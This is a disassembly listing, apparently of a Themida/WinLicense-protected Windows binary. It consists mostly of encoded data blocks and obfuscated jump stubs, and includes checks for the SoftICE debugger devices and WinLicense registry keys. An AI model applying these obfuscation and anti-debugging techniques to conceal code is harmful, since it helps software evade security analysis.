		dd 24248B24h, 240C8B66h, 3506855h, 8F540000h, 4812404h
		dd 424h, 2434FF00h, 8B2434FFh, 0E956242Ch, 0FFFF49D0h
		dd 53665E66h, 0FFFFBB66h, 0E9DE0166h, 0FFFF36E8h, 2D0EB81h
		dd 0F0684A55h, 0E900006Eh, 0FFFEBC2Bh, 4C481h, 14870000h
		dd 4085C24h, 0DEE99C24h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57220F:				; CODE XREF: Themida_:0056C8AEj
		add	eax, ebx
		jmp	loc_568459
; ---------------------------------------------------------------------------


loc_572216:				; CODE XREF: Themida_:00571FFDj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56E213
; ---------------------------------------------------------------------------
		dw 8568h
		dd 5B2BB209h, 0FF7C28E9h, 1E2CB8FFh, 28356F1Dh,	16F1D1Eh
		dd 0C28158C2h, 4, 5C241487h, 4C281h, 0B9510000h, 29CD05D3h
		dd 5503E1C1h, 0B06BB53h, 0B0E9573Ch, 83FFFED0h,	525304C4h
		dd 0FEF364E9h, 24048FFFh, 0FF0187E9h, 0C14949FFh, 0D9F707E9h
		dd 83E98149h, 0E9863820h, 0FFFF1B65h, 6D7F61BFh, 0FAE78121h
		dd 0C13EEC6Bh, 0EF8108E7h, 6C6B5FFCh, 15FFD89h,	0EE835DEEh
		dd 24348704h, 0FFF44EE9h, 0E5E95AFFh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5722BB:				; CODE XREF: Themida_:005619A4j
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		push	0B1Ah
		mov	[esp], edx
		mov	edx, 0E1B592Fh
		sub	edx, 447B1ECEh
		push	esi
		mov	esi, 46667792h
		or	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 3482237Ah
		sub	ebp, 27A5FE52h
		and	edx, ebp
		jmp	loc_56CCEC
; ---------------------------------------------------------------------------


loc_5722F0:				; CODE XREF: Themida_:0056B777j
		pop	ecx
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_561C2D
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FEE130E9h, 5E7468FFh
		dd 1C890000h, 88EB8824h, 59665BDCh, 8058E288h, 44E995C2h
		dd 28FFFEC2h, 5EE951C3h, 5FFFFFECh, 0DCBAE952h,	3481FFFEh
		dd 574EC724h, 0FE95E6Dh, 87FFFFF7h, 515C242Ch, 0FF7C68E9h
		dd 72C381FFh, 143F50Ah,	565F5BDEh, 0A0322CBEh, 2EF68126h
		dd 871A2B24h, 0FB61E9CEh, 0A668FFFEh, 0E900002Eh, 0FFFF14CBh
; ---------------------------------------------------------------------------


loc_572380:				; CODE XREF: Themida_:0055E4A5j
		pop	edx
		add	esi, edi
		sub	esi, 90E2605h
		sub	esi, 5CE20D97h
		jmp	loc_56C6C6
; ---------------------------------------------------------------------------
		dd 0BA241489h, 769A1DB3h, 7EF2814Ah, 0F7640434h, 6EA81D2h
		dd 81636556h, 0F4737C2h, 0ABC28136h, 0E943815Fh, 0FFFF48F6h
		dd 8104EDC1h, 7D745F5h,	0F1EA8144h, 0E9471358h,	0FFFF1F54h
		dd 3C516855h, 14890000h, 96C7E924h, 0E981FFFFh,	55744128h
		dd 8359CB01h, 1C8702C3h, 0F665C24h, 0E6E9C8BEh
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5723F7:				; CODE XREF: Themida_:005605E2j
		pop	edi
		push	ecx
		mov	ecx, 0
		sub	ecx, edx
		xchg	ecx, edx
		pop	ecx
		jmp	loc_565F3F
; ---------------------------------------------------------------------------


loc_572408:				; CODE XREF: Themida_:005706BBj
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_572412:				; CODE XREF: Themida_:00565014j
		sub	edi, 47175B77h
		add	edi, 8FB7ACA4h
		xor	[ebx], edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E5E3
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 4312404h, 24043324h,	0FEC707E9h, 0E95B54FFh,	0FFFF02B1h
		dd 0F658E388h, 80CBFEDBh, 0DE0856F3h, 80EE805Bh, 0FF4877E9h
		dd 35E95EFFh, 81FFFF9Ah, 84B09EEh, 57555947h, 0FF596BE9h
		dd 34E280FFh, 0F280DAF6h, 0E9D40812h, 0FFFF044Fh, 4C4815Ch
		dd 0E9000000h, 0FFFF4660h
; ---------------------------------------------------------------------------


loc_572490:				; CODE XREF: Themida_:005614D8j
		push	edi
		jmp	loc_566892
; ---------------------------------------------------------------------------
		dd offset loc_407468
		dw 8900h
		dd 52532404h, 0E6C017B6h, 0F68004h, 0FFDD02E9h,	48B66FFh
		dd 3A6E924h, 0D029FFFFh, 58C7295Ah, 20E0C781h, 44E95F37h
		dd 5BFFFF23h, 5BDA015Dh, 0FF8B75E9h, 4C483FFh, 2C8B5E55h
		dd 4C48324h, 57BEC681h,	0EE0105ADh, 0FF6F84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5724E9:				; CODE XREF: Themida_:0056D7DCj
		mov	ecx, [esp]
		push	4A6Ah
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55E2A0
; ---------------------------------------------------------------------------


loc_5724FB:				; CODE XREF: Themida_:005610E6j
		xor	[esp], ebx
		jmp	loc_56D81C
; ---------------------------------------------------------------------------


loc_572503:				; CODE XREF: Themida_:0056EA9Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56FACA
; ---------------------------------------------------------------------------
		dd 6824148Bh, 7FA8h, 89243C89h,	0CE0AE9E7h, 2489FFFFh
		dd 24048324h, 4600E904h, 0EF29FFFFh, 1F7AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57253E:				; CODE XREF: Themida_:005667FBj
		sub	esi, 0BDEFEFB3h
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7472090Ch
		push	ebx
		mov	ebx, 688A78D3h
		add	edx, ebx
		pop	ebx
		jmp	loc_561AF9
; ---------------------------------------------------------------------------
		dd 0C281C201h, 5FBC5B7Eh, 0E9D50158h, 0FFFFDFAAh, 2958C129h
		dd 0DBC181C1h, 8B3B3B63h, 0C4812404h, 4, 9503F52Dh, 5C80122h
		dd 229503F5h, 58108859h, 81240C8Bh, 4C4h, 0A923E900h, 0C681FFFEh
		dd 4, 0E904EE83h, 0FFFFAF48h, 5B2434FFh, 4C481h, 0C7810000h
		dd 6D183D85h, 0FF7566E9h, 94E951FFh
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5725CB:				; CODE XREF: Themida_:00562674j
		mov	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 7F4576A5h
		add	ecx, 81E1C415h
		add	esi, 53FC343Ah
		sub	esi, ecx
		sub	esi, 53FC343Ah
		jmp	loc_56E1B9
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 8B662424h, 0C6E92404h, 8BFFFF1Ch,	48F2424h
		dd 8A00E924h, 3C89FFFFh, 2474FF24h, 2434FF04h, 5F2434FFh
		dd 148B5452h, 4C48124h,	81000000h, 4C2h, 0D8F7E900h, 0C483FFFEh
		dd 2EC8104h, 66000000h,	0E9240C89h, 0FFFEB439h,	0C104C483h
		dd 0D9F705E1h, 0A0E9D9F7h, 8BFFFF35h, 0C6E9240Ch, 31FFFEFAh
		dd 3C33243Ch, 0F665C24h, 9C2404B3h, 0FEA85CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572669:				; CODE XREF: Themida_:00560568j
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	eax
		pop	ecx
		jmp	loc_563FAE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 68241C89h,	634Dh, 0DB9BE954h, 0C131FFFFh
		dd 0FFC80158h, 0E9592434h, 0FFFFC477h, 12BB850h, 4BE9449Eh
		dd 0E9FFFEC7h, 5Ch, 71874159h, 52455355h, 642E3233h, 41006C6Ch
		dd 50415644h, 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch
		dd 7D7006Ch, 4000Ah, 0B0012h, 270031h, 185h, 9 dup(0)
		dd 87BE9h, 0A1236800h, 31E90614h, 68FFFDE0h, 614A17Fh
		dd 0FDE027E9h, 0A28568FFh, 1DE90614h, 68FFFDE0h, 614A38Dh
		dd 0FDE013E9h, 0A40368FFh, 9E90614h, 68FFFDE0h,	614A511h
		dd 0FDDFFFE9h, 0A58F68FFh, 0F5E90614h, 13FFFDDFh, 278A6715h
		dd 76D936DCh, 84EB04B0h, 0D639D67Ah, 3144A551h,	2DD92E0Dh
		dd 0FDA37DCCh, 0CE708D1Ch, 9F47DE31h, 0C64D942h, 0EE22CDh
		dd 93D04F6Bh, 0EE227C7Dh, 0E263DA00h, 0EE02BF8Fh, 6FA82EFh
		dd 171F249h, 2C902E3Bh,	8035798Fh, 0BA810CE8h, 74D78BDDh
		dd 0EFCFC8B2h, 14D8308Dh, 0A2D304BBh, 2544EE37h, 0CCB837D9h
		dd 0A01D7F5Fh, 852DF463h, 0DA0B9800h, 0D6A5E916h, 63C82865h
		dd 676FE31Bh, 39C8A71Ch, 8197091h, 0E62B5E43h, 3388F0DDh
		dd 0EA3A1CDDh, 44C3BAEAh, 0A0C63C9Dh, 25F37F44h, 6EAh
		dd 0ED0ABA4Eh, 3CDD8182h, 4EAB55ADh, 9C7D1FE3h,	0AF48F60Dh
		dd 7E85B294h, 48D837D0h, 15E847A0h, 0EC359475h,	3F7CA542h
		dd 0EE2328A9h, 71E88600h, 9EEA946Dh, 0EE4FB10Dh, 0E6F3949Ah
		dd 0DE5FDE0Ch, 0F30CAE73h, 93E1819Ch, 3A579E8h,	741EE782h
		dd 0A4AEC2ADh, 0CFD9955Eh, 68Eh, 89661612h, 0D839DD26h
		dd 0EA07B171h, 38D97B87h, 4BA452D1h, 0DA290E30h, 0A47CD32Ch
		dd 718CE3FCh, 48D930D1h, 63D8419Eh, 0EE23CC0Dh,	154C6A00h
		dd 9EEA946Dh, 204CF60Fh, 3B8FFB2Ch, 0D0F787C9h,	41A6h
		dd 946D4300h, 0BFAA0DEAh, 82EFEE02h, 0F24906FAh, 82EAEF71h
		dd 0A77E06FAh, 318DE2FFh, 0C81A6ECFh, 820CE84Fh, 6BE88A97h
		dd 63EE4F2Eh, 8CE3FC9Eh, 0F8A3D171h, 7B45BB98h,	35AEC011h
		dd 609E5h, 21BF6C00h, 0B3AD8203h, 0CF738C5Ch, 6DB4D350h
		dd 2C3B78C5h, 235E2AD6h, 0FAE540B1h, 269F9E06h,	87E9F556h
		dd 17DED236h, 29B80CE8h, 264331D7h, 22E34EABh, 0CC54C378h
		dd 0CD235824h, 0E8F80Ch, 3554D3AAh, 393440EEh, 0F0CE23BCh
		dd 0BAD92F8Ch, 940AF489h, 0F80514A9h, 0AD7AE556h, 6C12EDh
		dd 8C6DE665h, 4FD2E03Dh, 0FBFA0EAFh, 550ADD98h,	8C1D6BE6h
		dd 0F1ACD75h, 0C264B729h, 588B886h, 1CE80000h, 0E33C936Ch
		dd 0B74FA23Fh, 819DEC0Dh, 58AF02DFh, 14364DAAh,	0D532E027h
		dd 0E502AA7Ah, 3AD7778Ah, 4BA44ED7h, 0CA0B5DD2h, 6400EE20h
		dd 946D1346h, 0F60F9EEAh, 0FB2C204Ch, 81926A8Fh, 0E32206FAh
		dd 0D0F789E0h, 0FFFEFA89h, 0A067F2FFh, 6D1E71F2h, 0D9EEA94h
		dd 9AEE4FB1h, 0CE89E2Eh, 77D43508h, 50B80567h, 0AFA563Ch
		dd 79169EFAh, 10036ED8h, 0EA5C0792h, 890A8989h,	5DCC71CCh
		dd 852DF4C6h, 71FF7AF7h, 650D7FF4h, 0ADE5171h, 9CF45E03h
		dd 0DCD3542Ch, 17E7Dh, 0B67AE400h, 7115EE79h, 2F5D091Eh
		dd 2AB4D152h, 0AF1375C6h, 270CE880h, 0C389E754h, 0D4457DBFh
		dd 0E261051Eh, 4580861h, 22C8B2AFh, 6D83389Ch, 0D3045261h
		dd 50FC0A15h, 8FCC4924h, 734BC0ACh, 0C744AC11h,	0E1E917B3h
		dd 0EF36219Ah, 0EE32545Ah, 78F7FF48h, 52D3BEFBh, 21E04FA8h
		dd 99E78995h, 0B9B661DCh, 7C44A114h, 48026F0h, 24E00000h
		dd 0EB349B74h, 0BF47AA47h, 8995F415h, 60A70AE7h, 1C2E55B2h
		dd 0DD3AE83Fh, 0ED0AB272h, 2DF7F82h, 53AC56AFh,	0C23355CAh
		dd 1C00EE21h, 4F6F1B7Eh, 0EC3050EDh, 4E618637h,	0F7D1DE0h
		dd 0C17EF772h, 0E6AA99AFh, 0B34E990Ch, 8D086513h, 39DF2130h
		dd 8B52E4Bh, 0D9620419h, 2E8886BFh, 0C4412892h,	9939C42Bh
		dd 0FBA362EBh, 0A4C02928h, 5660EC5Eh, 40Ah, 0DEA9A6Eh
		dd 5CBD61A2h, 6E8B35CDh, 0BC5DFF03h, 0CF28D62Dh, 5EA592B4h
		dd 28F857B0h, 0F5086780h, 0CC55B455h, 0DF5CC522h, 0EE264889h
		dd 91C8E600h, 0EFEE02BFh, 4906FA82h, 0F1671F2h,	71B01967h
		dd 0C38090D4h, 8FEA9644h, 31DE840Dh, 0A9C2C6B2h, 0E5D5046Ch
		dd 87306FAh, 4970DA8Bh,	6FAE671h, 0EB7DBA03h, 6FAEBEAh
		dd 457CF944h, 0D0F7E24Ah, 0FFFD5227h, 946DC2FFh, 0B10D9EEAh
		dd 0A6B1EE4Fh, 0A830B561h, 0CE89E34h, 12C32562h, 6F00E8A7h
		dd 0E7303B90h, 62D98237h, 7AAF0AE7h, 0AC10AEB1h, 5901000Fh
		dd 0B8CE4E2Bh, 92D97A86h, 5EB20F84h, 0CE898D2h,	352499E4h
		dd 393440EEh, 5824D056h, 91C7981Dh, 58F7556Eh, 19A206D8h
		dd 0E6B44DDCh, 6E0B791Dh, 0E2EE72F3h, 74A2C129h, 0CE107B09h
		dd 6CBFD16Ah, 46B8D32Ch, 0EF0946F7h, 5DD86F18h,	0EC7BF8DEh
		dd 0BC3D5315h, 1ABCB7A1h, 0E44BA423h, 99A2751Dh, 7C12DD31h
		dd 2FC26F0h, 0A87C0000h, 6FB01FF8h, 43C32ECBh, 0D117899h
		dd 0E4238E6Bh, 0A0A2D936h, 21BE6CBBh, 718E36CEh, 8663031Eh
		dd 0D730DA2Bh, 3EBFD14Eh, 9800EE27h, 4F6F67FAh,	0FD1350EDh
		dd 6FA82FCh, 82A756BAh,	3A0106FAh, 1C991A61h, 0E6F3ACF4h
		dd 6AD3AA0Ch, 0D42FD32Dh, 0F44C57C1h, 0AC7D1264h, 0EE678EC8h
		dd 3DC7E83h, 0CB151ACh,	7F31B7ECh, 57CCDD2Fh, 0B55DA425h
		dd 0A436EF62h, 0F8C6825Eh, 27Eh, 997626E2h, 0A849ED36h
		dd 0FA17C141h, 8E98B97h, 5BB462A1h, 0EA391E20h,	0B44CA33Ch
		dd 819CF30Ch, 58A900E1h, 53C851AEh, 0EE27BC3Dh,	0E57C1A00h
		dd 50ED4F6Fh, 0E6F31038h, 30F31E0Ch, 483FE8Ah, 8F59A8B7h
		dd 0EE227879h, 0E867D600h, 0B71FA20Fh, 2309E206h, 0F84300EEh
		dd 0A44CD443h, 54189DD8h, 956C2EF5h, 0B93850EDh, 1700EE22h
		dd 9BDBA924h, 0F7B0F818h, 23BD5FA3h, 59E20C35h,	0EE13C637h
		dd 981D6000h, 738C3AC9h, 1AC043CEh, 0F592136Eh,	0D73982ECh
		dd 0EE12DEh, 56B7C5B8h,	7D3BCBCFh, 0F570FCA2h, 0F06F0A76h
		dd 8045DC4Bh, 0D89FA7E7h, 8D0685D0h, 253487FFh,	8FA537D9h
		dd 38FF21F4h, 0C95837ACh, 9869C021h, 4ED982EEh,	88B912B7h
		dd 16326949h, 1390ED9Bh, 4CC36163h, 43EB3AE6h, 3C5C99A6h
		dd 9AB5120Dh, 1CDD474Dh, 0BA00EE10h, 0DE2742C3h, 264A8734h
		dd 0EE10B7h, 0C3A92A11h, 6311BD4Ah, 7D819023h, 47DBAFC6h
		dd 0D251AEB4h, 194ACBA6h, 0EA342331h, 63A2CD46h, 880CF6A6h
		dd 8A09175Ah, 5905026Dh, 39ABB52Bh, 976C9CF6h, 3AC752EBh
		dd 0A47DEC98h, 74F38EFAh, 74B31EFFh, 0CE53BAC6h, 3E528F2Ch
		dd 0EE20BFh, 0B94B2219h, 8B086513h, 0A58DC6E1h,	61C9E65h
		dd 0D4532E5Ah, 17C62A67h, 0B100EE20h, 59B049CAh, 29521EC8h
		dd 205584ECh, 88F300EEh, 0F916850Bh, 0F2C695Dh,	6EB40000h
		dd 3CBBB6C2h, 11F261DCh, 7AFB664Eh, 0E47361C9h,	6F0A761Ah
		dd 0C8A9BF6h, 0AE3F4DF5h, 0A9C4B054h, 0FF52AF2Ah, 99F07C26h
		dd 190DC8Ah, 53FD0514h,	9BB991D2h, 0BFCD758Ch, 0E61779C2h
		dd 40B8722Dh, 18E978FDh, 0E73E916Eh, 4DA313Fh, 51F51BA0h
		dd 15B2602Dh, 7D8A9526h, 4DC6A3D1h, 1D7F5FACh, 0C472B1A0h
		dd 0FB38BDB8h, 7C43B795h, 204C2FC8h, 0DAE58A9h,	305B0302h
		dd 2CCD46F2h, 0EE9A44DDh, 0C6B93286h, 81E91EF6h, 80E88081h
		dd 44B9B851h, 9F5EB2EFh, 3944B9B8h, 0AF48C742h,	0A419C140h
		dd 0D8382644h, 8102B457h, 0EC9092FBh, 9840C04Fh, 26FE91ECh
		dd 0B877057Eh, 523D1B77h, 1E5B29D5h, 933BCAA5h,	5DACCE2Ah
		dd 0CCB85AA7h, 0D652FB1h, 0E8FE480Fh, 169589E6h, 14ED7C9Dh
		dd 7C94D16Ah, 44B9177Dh, 99E360DBh, 0D8Fh, 7C819000h, 0CC6EB3DAh
		dd 2940C5A0h, 976DF998h, 0F3329BE9h, 51AC3D4Bh,	0BA4AC3B1h
		dd 20E76612h, 80870672h, 0DB27A6D2h, 44C24B39h,	0A27DEC98h
		dd 552D70FCh
		dd 0C5815D54h, 4, 8704ED83h
		db 2Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		push	651D018Fh
		pop	esi
		sub	esi, 5F086111h
		push	esi
		pop	edi
		pop	esi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, edi
		push	edx
		mov	edx, 8
		add	edx, ebx
		mov	[edx], ebp
		pop	edx
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 91h,	0ECh, 2Eh
		dd 14A832B8h, 0FFC50306h, 0E611C8E0h, 1400910Eh, 0E96DA65h
		dd 36F27570h, 9D99E14Eh, 0DB407C38h, 57E8C50Eh,	493A5268h
		dd 82B95630h, 8A106B69h, 2723B950h, 1B5E9A14h, 84B17652h
		dd 0A6C41F5Ch, 397A4C6Ch, 0AE863h, 7AC90000h, 27C1DD12h
		dd 906537Ch, 585259F5h,	632DC181h, 0C0810000h, 7799B9B8h
		dd 189E68h, 76B86600h, 0B70F5ECDh, 0E8118BFEh, 14h, 0BE5DC8CCh
		dd 0D697CEF4h, 9AAE9575h, 0C04D20C5h, 496F0043h, 800Fh
		dd 81580000h, 1B600FC2h, 0ACF6BF5Fh, 0EA811457h, 3974E8EEh
		dd 81DBB70Fh, 42C88BEAh, 5249B36Dh, 11E9018Fh, 3C000000h
		dd 0D4375F7Fh, 28BEA9EDh, 216343D1h, 93CE38AFh,	8B02E983h
		dd 604949DEh, 3830Fh, 8B660000h, 0E88166F9h, 8161E587h
		dd 1EEh, 86850F00h, 0E8FFFFFFh,	0Fh, 89E0E78Fh,	7A1F3427h
		dd 0A8839088h, 66BD750Eh, 0E95BFB8Bh, 8Ch, 69BD8360h, 6122Fh
		dd 5840Fh, 77E90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h
		dd 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh,	12h, 17E80h
		dd 8850Fh, 0C4830000h, 14E908h,	858D0000h, 61200E5h, 96905090h
		dd 6A9650h, 2BE195FFh, 0C3610612h, 25985C6h, 684D0612h
		dd 282139D5h, 0D3240481h, 0FF7C143Ch, 121309B5h, 56858D06h
		dd 0FF06123Bh, 0E18589D0h, 0E906122Bh, 0AAh, 74666F53h
		dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h
		dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h
		dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h
		dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh
		dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh
		dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h
		dd 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	14AB0D85h
		dd 9858D06h, 500614ABh,	0AA73858Dh, 68500614h, 80000001h
		dd 0AB1995FFh, 196A0614h, 0AB0DB5FFh, 16A0614h,	858D006Ah
		dd 614AAA2h, 9B5FF50h, 0FF0614ABh, 1214E995h, 9B5FF06h
		dd 0FF0614ABh, 14AB1595h, 9B5FF06h, 0FF0614ABh,	12301D95h
		dd 8589C306h, 614AB0Dh,	0AB09858Dh, 8D500614h, 14AA7385h
		dd 1685006h, 0FF800000h, 14AB1995h, 8D046A06h, 14AB0D85h
		dd 46A5006h, 858D006Ah,	614AACCh, 9B5FF50h, 0FF0614ABh
		dd 1214E995h, 9B5FF06h,	0FF0614ABh, 14AB1595h, 9B5FF06h
		dd 0FF0614ABh, 12301D95h, 8589C306h, 614AB0Dh, 0AB09858Dh
		dd 8D500614h, 14AA7385h, 1685006h, 0FF800000h, 14AB1995h
		dd 8D046A06h, 14AB0D85h, 46A5006h, 858D006Ah, 614AAB4h
		dd 9B5FF50h, 0FF0614ABh, 1214E995h, 9B5FF06h, 0FF0614ABh
		dd 14AB1595h, 9B5FF06h,	0FF0614ABh, 12301D95h, 8589C306h
		dd 614AB0Dh, 0AB09858Dh, 8D500614h, 14AA7385h, 1685006h
		dd 0FF800000h, 14AB1995h, 8D046A06h, 14AB0D85h,	46A5006h
		dd 858D006Ah, 614AADFh,	9B5FF50h, 0FF0614ABh, 1214E995h
		dd 9B5FF06h, 0FF0614ABh, 14AB1595h, 9B5FF06h, 0FF0614ABh
		dd 12301D95h, 8589C306h, 614AB0Dh, 0AB09858Dh, 8D500614h
		dd 14AA7385h, 1685006h,	0FF800000h, 14AB1995h, 8D046A06h
		dd 14AB0D85h, 46A5006h,	858D006Ah, 614AA8Fh, 9B5FF50h
		dd 0FF0614ABh, 1214E995h, 9B5FF06h, 0FF0614ABh,	14AB1595h
		dd 9B5FF06h, 0FF0614ABh, 12301D95h, 0BD83C306h,	6121355h
		dd 0B840F00h, 8B000000h, 1213559Dh, 4CC38306h, 83C30389h
		dd 121355BDh, 840F0006h, 0Bh, 13559D8Bh, 0C3830612h, 0C3038950h
		dd 1355BD83h, 0F000612h, 0B84h,	559D8B00h, 83061213h, 38954C3h
		dd 55BD83C3h, 61213h, 0B840Fh, 9D8B0000h, 6121355h, 8958C383h
		dd 0BD83C303h, 6121355h, 0B840F00h, 8B000000h, 1213559Dh
		dd 5CC38306h, 0C3C30389h, 0D858960h, 8D0614ABh,	14AB0985h
		dd 858D5006h, 614AA73h,	16850h,	95FF8000h, 614AB19h, 858D046Ah
		dd 614AB0Dh, 6A046A50h,	4858D00h, 500614ABh, 0AB09B5FFh
		dd 95FF0614h, 61214E9h,	0E71BD83h, 0F000612h, 0C84h, 9B5FF00h
		dd 0FF0614ABh, 14AB1595h, 9B5FF06h, 0FF0614ABh,	12301D95h
		dd 60C36106h, 0AB0D8589h, 858D0614h, 614AB09h, 73858D50h
		dd 500614AAh, 168h, 1995FF80h, 6A0614ABh, 0D858D04h, 500614ABh
		dd 6A046Ah, 0AAE6858Dh,	0FF500614h, 14AB09B5h, 0E995FF06h
		dd 83061214h, 120E71BDh, 840F0006h, 0Ch, 0AB09B5FFh, 95FF0614h
		dd 614AB15h, 0AB09B5FFh, 95FF0614h, 612301Dh, 8960C361h
		dd 14AB0D85h, 9858D06h,	500614ABh, 0AA73858Dh, 68500614h
		dd 80000001h, 0AB1995FFh, 46A0614h, 0AB0D858Dh,	6A500614h
		dd 8D006A04h, 14AAED85h, 0B5FF5006h, 614AB09h, 14E995FFh
		dd 0BD830612h, 6120E71h, 0C840F00h, 0FF000000h,	14AB09B5h
		dd 1595FF06h, 0FF0614ABh, 14AB09B5h, 1D95FF06h,	61061230h
		dd 858960C3h, 614AB0Dh,	0AB09858Dh, 8D500614h, 14AA7385h
		dd 1685006h, 0FF800000h, 14AB1995h, 8D046A06h, 14AB0D85h
		dd 46A5006h, 858D006Ah,	614AAF5h, 9B5FF50h, 0FF0614ABh
		dd 1214E995h, 71BD8306h, 6120Eh, 0C840Fh, 0B5FF0000h, 614AB09h
		dd 0AB1595FFh, 0B5FF0614h, 614AB09h, 301D95FFh,	0C3610612h
		dd 0D858960h, 8D0614ABh, 14AB0985h, 858D5006h, 614AA73h
		dd 16850h, 95FF8000h, 614AB19h,	858D046Ah, 614AB0Dh, 6A046A50h
		dd 0FC858D00h, 500614AAh, 0AB09B5FFh, 95FF0614h, 61214E9h
		dd 0E71BD83h, 0F000612h, 0C84h,	9B5FF00h, 0FF0614ABh, 14AB1595h
		dd 9B5FF06h, 0FF0614ABh, 12301D95h, 60C36106h, 0AB0D85C7h
		dd 10614h, 858D0000h, 614AB09h,	73858D50h, 500614AAh, 268h
		dd 1995FF80h, 0B0614ABh, 0F840FC0h, 0C7000000h,	14AB0D85h
		dd 6, 4DE900h, 46A0000h, 0AB0D858Dh, 6A500614h,	8D006A04h
		dd 14AA8785h, 0B5FF5006h, 614AB09h, 14E995FFh, 0C00B0612h
		dd 0F840Fh, 85C70000h, 614AB0Dh, 0
		dd 0AE9h, 0D85C700h, 10614ABh, 0FF000000h, 14AB09B5h, 1D95FF06h
		dd 61061230h, 0AB0D858Bh, 60C30614h, 0AB0D8589h, 858D0614h
		dd 614AB09h, 73858D50h,	500614AAh, 168h, 1995FF80h, 6A0614ABh
		dd 0D858D04h, 500614ABh, 6A046Ah, 0AA87858Dh, 0FF500614h
		dd 14AB09B5h, 0E995FF06h, 83061214h, 120E71BDh,	840F0006h
		dd 0Ch,	0AB09B5FFh, 95FF0614h, 614AB15h, 0AB09B5FFh, 95FF0614h
		dd 612301Dh, 8960C361h,	14AB0D85h, 9858D06h, 500614ABh
		dd 0AA73858Dh, 68500614h, 80000001h, 0AB1995FFh, 46A0614h
		dd 0AB0D858Dh, 6A500614h, 8D006A04h, 14AA9985h,	0B5FF5006h
		dd 614AB09h, 14E995FFh,	0BD830612h, 6120E71h, 0C840F00h
		dd 0FF000000h, 14AB09B5h, 1595FF06h, 0FF0614ABh, 14AB09B5h
		dd 1D95FF06h, 61061230h, 5985C6C3h, 52061202h, 0E47B0768h
		dd 0B1B5FFADh, 0FF061224h, 12079195h, 19858906h, 0C60614ABh
		dd 12025985h, 0E5685206h, 0FF902E00h, 1224B1B5h, 9195FF06h
		dd 89061207h, 14AB1585h, 5985C606h, 52061202h, 0BF123568h
		dd 0B1B5FFB9h, 0FF061224h, 12079195h, 0E9858906h, 0C6061214h
		dd 12025985h, 34685206h, 0FF987810h, 1224B1B5h,	9195FF06h
		dd 89061207h, 12301D85h, 5985C606h, 52061202h, 5DBD468h
		dd 0B1B5FFC0h, 0FF061224h, 12079195h, 4D858906h, 0EB061204h
		dd 2E5C5C1Eh, 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h
		dd 2E5C5C00h, 49544E5Ch, 8B004543h, 0D1C681C0h,	89451FFFh
		dd 1203FD85h, 71BD8306h, 6120Eh, 0BD830975h, 6122D69h
		dd 50197400h, 0B8C08B53h, 40Fh,	34F58589h, 9D8D0612h, 614AFEAh
		dd 585BD3FFh, 2D69BD83h, 74000612h, 0B8535017h,	40Fh, 34F58589h
		dd 9D8D0612h, 614ACD9h,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 82C35646h, 0FDAAA401h, 0F392CB96h
		dd 0C195891Eh, 8B06121Ch, 0C5BD8BC0h, 0C6061231h, 12025985h
		dd 0BF0F4306h, 987368D1h, 3481EAE4h, 6AF68F24h,	0D87BBE56h
